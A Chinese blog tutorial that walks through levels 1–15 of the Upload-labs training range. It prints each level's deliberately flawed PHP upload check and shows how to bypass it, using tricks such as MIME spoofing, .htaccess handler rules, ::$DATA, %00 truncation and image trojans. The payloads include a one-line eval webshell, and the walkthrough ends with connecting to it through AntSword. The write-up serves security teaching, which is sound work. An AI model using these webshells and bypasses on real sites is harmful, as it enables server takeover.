• Upload-labs 1~15 通关详细教程


    前言

    upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共21关,每一关都包含着不同上传方式。
    在这里插入图片描述

    Upload-labs 1~15 通关详细教程

    靶场地址Upload-labs

    上传一个php的一句话木马文件

    文件内容如下:

     @eval($_REQUEST[777]);phpinfo();?>
    
    • 1

    Pass-01-后缀名修改

    上传php一句木马文件,这里显示上传的文件类型只能是jpg,png,gif类型的

    image-20230908221928166

    查看源码

    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name + "|") == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    我们可以修改文件后缀名为png。

    使用BurpSuite抓取数据包,然后再将文件的后缀名修改为php。

    image-20230908222020161

    使用中国蚁剑进行连接。

    http://10.9.75.131/upload/info.php
    
    • 1

    image-20230908222153133

    Pass-02-后端MIME验证

    后端 MIME 验证是一种常用的安全机制,用于验证接收到的文件的MIME 类型(Multipurpose Internet Mail Extensions)。MIME 类型是通过 HTTP 协议将文件的特定类型信息传输给客户端的一种标准方法。后端 MIME 验证是在服务器端对接收到的文件进行验证,确保其声明的 MIME 类型与实际文件类型相匹配。

    后端 MIME 验证的目的是防止恶意用户绕过前端限制,通过伪造文件的扩展名或修改文件内容来上传和执行恶意文件。通过验证文件的真实 MIME 类型,可以减少安全风险,有效防止不合法的文件被上传和处理。

    在后端 MIME 验证中,服务器会解析上传的文件,并根据文件的内容或文件头部信息判断其实际的 MIME 类型。然后,服务器会将解析得到的 MIME 类型与客户端提交的 MIME 类型进行比较,如果两者不一致,则表示可能存在风险,服务器可以拒绝接受或进一步处理该文件。

    后端 MIME 验证通常作为文件上传功能的一部分,结合其他安全措施如文件大小限制、文件类型白名单等,以增强系统的安全性。

    回到靶场,上传一个php的一句话木马文件。
    image-20230908222239198

    页面报错文件类型不正确,需要重新上传。

    查看源码

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '文件类型不正确,请重新上传!';
            }
        } else {
            $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    解释:

    isset() 函数用于检测变量是否已设置并且非 NULL。

    file_exists() 函数检查文件或目录是否存在。

    move_uploaded_file() 函数把上传的文件移动到新位置。

    我们在上传文件的时候使用BurpSuite抓取数据包,来修改里面的Content-Type值从而绕过MIME 验证。

    image-20230908222649224

    上传成功

    image-20230908222712955

    然后就可以使用蚁剑进行连接了

    Pass-03-黑名单验证

    查看源码,发现这关设置了文件后缀名的黑名单。

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array('.asp','.aspx','.php','.jsp');
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //收尾去空
    
            if(!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
                if (move_uploaded_file($temp_file,$img_path)) {
                     $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    解释:

    in_array() 函数搜索数组中是否存在指定的值。

    trim() 函数移除字符串两侧的空白字符或其他预定义字符。

    str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。

    strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。

    但是这里的黑名单规则不严谨,在某些特定环境中某些特殊后缀仍会被当作php文件解析 php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml。

    这里用.php3文件后缀名,直接上传一个名为info.php3的文件

    image-20230908223325931

    发现直接上传成功。

    image-20230908223148591

    访问一下.php3 ,发现能够执行phpinfo() :

    image-20230908223433911

    然后就可以使用蚁剑进行连接了:

    image-20230908223512889

    Pass-04-黑名单验证.htaccess

    查看源码,黑名单中的过滤的内容更多了。

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //收尾去空
    
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件不允许上传!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    这里使用 .htaccess 后缀名的文件。

    .htaccess 是一个用于 Apache Web 服务器的配置文件,它是一种特殊的文本文件,使用 “.htaccess” 作为文件名的后缀。该文件通常用于在特定目录下改变 Apache 服务器的行为以及对网站进行配置。

    .htaccess 文件的作用是允许网站管理员在特定目录中覆盖默认的服务器设置,以灵活地控制网站的行为和功能。它可以包含一系列指令,用于自定义访问权限、重定向URL、启用或禁用模块、修改请求处理规则等。

    常见的用途和功能:

    URL 重写:通过 RewriteRule 指令可以修改 URL 地址的结构,使得对外暴露的 URL 更加友好和易读,同时也方便实现重定向和 URL 路由功能。
    访问控制:通过使用指令如 Require 和 Allow/Deny,可以限制特定用户或 IP 地址的访问权限,保护敏感目录或文件。
    自定义错误页面:通过 ErrorDocument 指令,可以针对不同的 HTTP 错误代码自定义相应的错误页面。
    缓存控制:通过使用指令如 ExpiresByType,可以设置不同类型文件的缓存过期时间,以提升网站性能和加快页面加载速度。
    MIME 类型配置:通过 AddType 或 AddHandler 指令,可以自定义文件扩展名与 MIME 类型之间的映射关系。
    重写规则:使用 RewriteRule 和 RewriteCond 指令,可以实现灵活的 URL 重写和重定向规则,对请求进行修改或转发。

    上传文件的内容

    <FilesMatch "jpg">   
            SetHandler application/x-httpd-php
    </FilesMatch>
    
    • 1
    • 2
    • 3

    说明:如果文件里面有一个后缀为.jpg的文件,就会被解析成.php。

    image-20230908224552917

    先上传**.htaccess**文件,然后上传phpinfo.jpg文件。

    image-20230908225002786

    Pass-05-文件后缀名大小写绕过

    查看源码,发现本关的黑名单中过滤了.htaccess文件,所以这关无法使用.htaccess来进行绕过。

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //首尾去空
    
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件类型不允许上传!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    观察发现源码中缺少了strtolower函数,说明这里可以尝试大小写绕过。

    $file_ext = strtolower($file_ext); //转换为小写
    
    • 1

    上传**.Php**后缀名的文件

    image-20230908225428526

    image-20230908225452723

    Pass-06-文件后缀名空格绕过

    查看源码

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
            $file_name = $_FILES['upload_file']['name'];
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
                if (move_uploaded_file($temp_file,$img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件不允许上传';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    观察发现源码中缺少了trim函数(去除字符串首尾处的空白字符),说明这里可以尝试空格绕过。

    $file_ext = trim($file_ext); //首尾去空
    
    • 1

    上传php文件,然后抓取数据包,在文件后缀名后面加一个空格。

    image-20230908225746565

    上传成功

    image-20230908225801745

    image-20230908225855190

    Pass-07-文件后缀名点绕过

    查看源码

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //首尾去空
            
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.$file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件类型不允许上传!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    观察源码发现缺少deldot,删除文件名末尾的点

    $file_name = deldot($file_name); //删除文件名末尾的点
    
    • 1

    上传php文件,然后抓取数据包,在文件后缀名后面加一个点。

    利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过。

    image-20230908230345860

    上传成功

    image-20230908230406219

    image-20230908230429376

    Pass-08-文件后缀名::$DATA绕过

    查看源码:

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = trim($file_ext); //首尾去空
            
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件类型不允许上传!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    观察源码发现缺少了去除字符串str_ireplace。

    $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
    
    • 1

    解释:

    说明:

    • 在 Windows 操作系统中,::$DATA 是一种用于隐藏文件的特殊附加数据流(Alternate Data Stream)。它是一种扩展文件属性,可以将额外的数据附加到一个文件中,而不会影响文件的主要内容。
    • 附加数据流基于文件名和冒号之间的特殊语法,例如:file.txt:: D A T A 。附加数据流可以储存任意类型的数据,例如文本、二进制文件或其他文件。这使得 : : DATA。附加数据流可以储存任意类型的数据,例如文本、二进制文件或其他文件。 这使得 :: DATA。附加数据流可以储存任意类型的数据,例如文本、二进制文件或其他文件。这使得::DATA 可以被用于隐藏文件内容、存储元数据或其他需要与主文件相关但不希望直接显示给用户的信息。

    上传php文件,然后抓取数据包,在文件后缀名后面加上::$DATA即可。

    image-20230909112238570

    上传成功:

    image-20230909112358672

    Pass-09-点+空格+点+空格绕过

    查看源码:

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //首尾去空
            
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.$file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件类型不允许上传!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    观察源码发现代码先是去除文件名前后的空格,再去除文件名末尾的.,再通过strrchar函数来寻找.来确认文件名的后缀,但是最后保存文件的时候没有重命名而使用的原始的文件名,本关没有循环验证,说明转换大小写去除空格什么的它只验证一次。

    上传php文件,然后抓取数据包,在文件后缀名后面加上.php. . 即可。也就是点+空格+点+空格绕过。
    image-20230909114613038

    上传成功:

    image-20230909114636077

    image-20230909115617373

    还可以使用.+任意后缀名 的方式绕过,例如:.ghuii :

    image-20230909115751659

    上传成功:

    image-20230909115815864

    Pass-10-文件后缀名双写绕过

    查看源码:

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
    
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = str_ireplace($deny_ext,"", $file_name);
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;        
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    上传一个文件查看,发现将违规的文件后缀名替换为空了

    image-20230909120914871

    那么我们可以使用文件后缀名双写来绕过

    image-20230909121121689

    上传成功:

    image-20230909121229347

    image-20230909121237346

    Pass-11-GET型00截断

    查看源码:

    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $ext_arr = array('jpg','png','gif');
        $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
        if(in_array($file_ext,$ext_arr)){
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
    
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    观察源码发现是白名单上传,只允许上传白名单中的后缀名。

    关键代码如下:

    $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
    
    • 1

    这个$img_path变量是直接进行拼接的,所以可以使用%00截断绕过。

    %00截断的条件:php版本要小于5.3.4 修改php.ini配置文件中的magic_quotes_gpc为OFF状态。

    上传PHP文件,使用bp抓包,然后修改save_path的值

    在这里插入图片描述

    说明GET请求提交的内容会被自动进行URL编码

    上传成功:

    image-20230909152200407

    页面访问

    image-20230909152216531

    补充:

    00截断(Null Byte Injection)是一种针对Web应用程序的安全漏洞,它利用输入验证不充分的情况下,以空字节(\x00或%00)作为终止字符来截断字符序列。这种漏洞通常出现在不正确地处理用户输入的情况下,尤其是在字符串拼接或文件路径处理等场景中。

    当应用程序没有正确处理输入数据时,攻击者可以通过插入空字节来绕过输入验证。空字节可以用来截断字符串,导致应用程序对输入数据的处理产生意外结果,进而造成安全问题。

    0x00,%00,/00这三类阶截断都是属于同种原理。在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束。

    例如:在1.php文件名改为1.php%00.jpg会被解析为1.php,欺骗应用程序认为这是受支持的php文件类型,从而绕过文件类型验证,上传shell。

    Pass-12-POST型00截断

    查看源码:

    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $ext_arr = array('jpg','png','gif');
        $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
        if(in_array($file_ext,$ext_arr)){
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
    
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传失败";
            }
        } else {
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    同样的白名单策略,与上一关不同的是,这次换成了POST方式传参,使用00截断。

    上传php木马,使用bp抓取数据包,修改数据包内容

    image-20230909153820150

    但是这里不会像GET方式那样会对%00进行解码,所以要对%00进行URL编码。

    在这里插入图片描述

    上传成功:

    image-20230909153027410

    访问页面:

    image-20230909154122159

    Pass-13-图片木马绕过

    查看源码

    function getReailFileType($filename){
        $file = fopen($filename, "rb");
        $bin = fread($file, 2); //只读2字节
        fclose($file);
        $strInfo = @unpack("C2chars", $bin);    
        $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
        $fileType = '';    
        switch($typeCode){      
            case 255216:            
                $fileType = 'jpg';
                break;
            case 13780:            
                $fileType = 'png';
                break;        
            case 7173:            
                $fileType = 'gif';
                break;
            default:            
                $fileType = 'unknown';
            }    
            return $fileType;
    }
    
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $file_type = getReailFileType($temp_file);
    
        if($file_type == 'unknown'){
            $msg = "文件未知,上传失败!";
        }else{
            $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传出错!";
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40

    使用cmd命令:

    copy  imgName/b + phpName/a newImgName
    
    • 1

    image-20230909155016714

    我们用WinHex打开看一下:

    image-20230909155348830

    可以看到图片木马已经生成。

    上传图片木马:

    image-20230909155624998

    结合文件包含漏洞执行图片木马,利用靶场提供的include.php文件进行漏洞测试。

    image-20230909160007809

    浏览器访问路径

    http://10.9.75.131/include.php?file=./upload/3220230909155610.jpg
    
    • 1

    image-20230909160427299

    蚁剑进行连接

    image-20230909160526890

    Pass-14-getimagesize()检查绕过

    查看源码

    function isImage($filename){
        $types = '.jpeg|.png|.gif';
        if(file_exists($filename)){
            $info = getimagesize($filename);
            $ext = image_type_to_extension($info[2]);
            if(stripos($types,$ext)>=0){
                return $ext;
            }else{
                return false;
            }
        }else{
            return false;
        }
    }
    
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $res = isImage($temp_file);
        if(!$res){
            $msg = "文件未知,上传失败!";
        }else{
            $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传出错!";
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31

    观察源码发现,getimagesize()函数,该函数会对文件内容进行检测,但是只检测文件头部。php下检测(使用getimagesize函数无法判断其图片是无效的)

    上传php,使用bp抓取数据包,修改数据包中的内容,在文件内容的头部添加”GIF89a“。

    说明:

    什么是GIF89a

    ​ 一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。在GIF89a之前还有87a版(1987年5月发行),但在Web上所见到的大多数图形都是以89a版的格式创建的。 89a版的一个最主要的优势就是可以创建动态图像,例如创建一个旋转的图标、用一只手挥动的旗帜或是变大的字母。特别值得注意的是,一个动态GIF是一个 以GIF89a格式存储的文件,在一个这样的文件里包含的是一组以指定顺序呈现的图片。

    php下检测(使用getimagesize函数无法判断其图片是无效的)

    image-20230909162203753

    上传成功,虽然我们没有改后缀名,但是这里直接成了.gif 格式:

    image-20230909162420283

    结合文件包含漏洞执行图片木马,利用靶场提供的include.php文件进行漏洞测试。

    浏览器访问路径:

    image-20230909162519926

    然后就可以蚁剑进行连接。

    Pass-15-exif_imagetype()检测绕过

    查看源码:

    function isImage($filename){
        //需要开启php_exif模块
        $image_type = exif_imagetype($filename);
        switch ($image_type) {
            case IMAGETYPE_GIF:
                return "gif";
                break;
            case IMAGETYPE_JPEG:
                return "jpg";
                break;
            case IMAGETYPE_PNG:
                return "png";
                break;    
            default:
                return false;
                break;
        }
    }
    
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $res = isImage($temp_file);
        if(!$res){
            $msg = "文件未知,上传失败!";
        }else{
            $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传出错!";
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35

    观察源码发现有一个exif_imagetype()函数,该函数是判断一个图形的类型。

    绕过方式采用图片木马:

    image-20230909163125253

    结合文件包含漏洞执行图片木马,利用靶场提供的include.php文件进行漏洞测试。

    image-20230909163344073

    蚁剑进行连接即可:

    image-20230909163429526

    也可以使用Pass-14的方式进行绕过:

    image-20230909163822273

    上传成功:

    image-20230909163909530

    访问页面:

    image-20230909163753748
    然后就可以使用蚁剑进行连接。

  • 相关阅读:
    Rook Ceph浅谈
    力扣605. 种花问题
    带你入门HTML+CSS网页设计,编写网页代码的思路
    在CentOS编译Git源码
    2014
    设计模式之装饰模式
    distroless 镜像介绍及 基于cbl-mariner的.NET distroless 镜像的容器
    模板方法模式
    聊聊「短信」渠道的设计与实现
    Java--Spring之IoC控制反转;基于XML配置文件的DI
  • 原文地址:https://blog.csdn.net/qq_45953122/article/details/132779483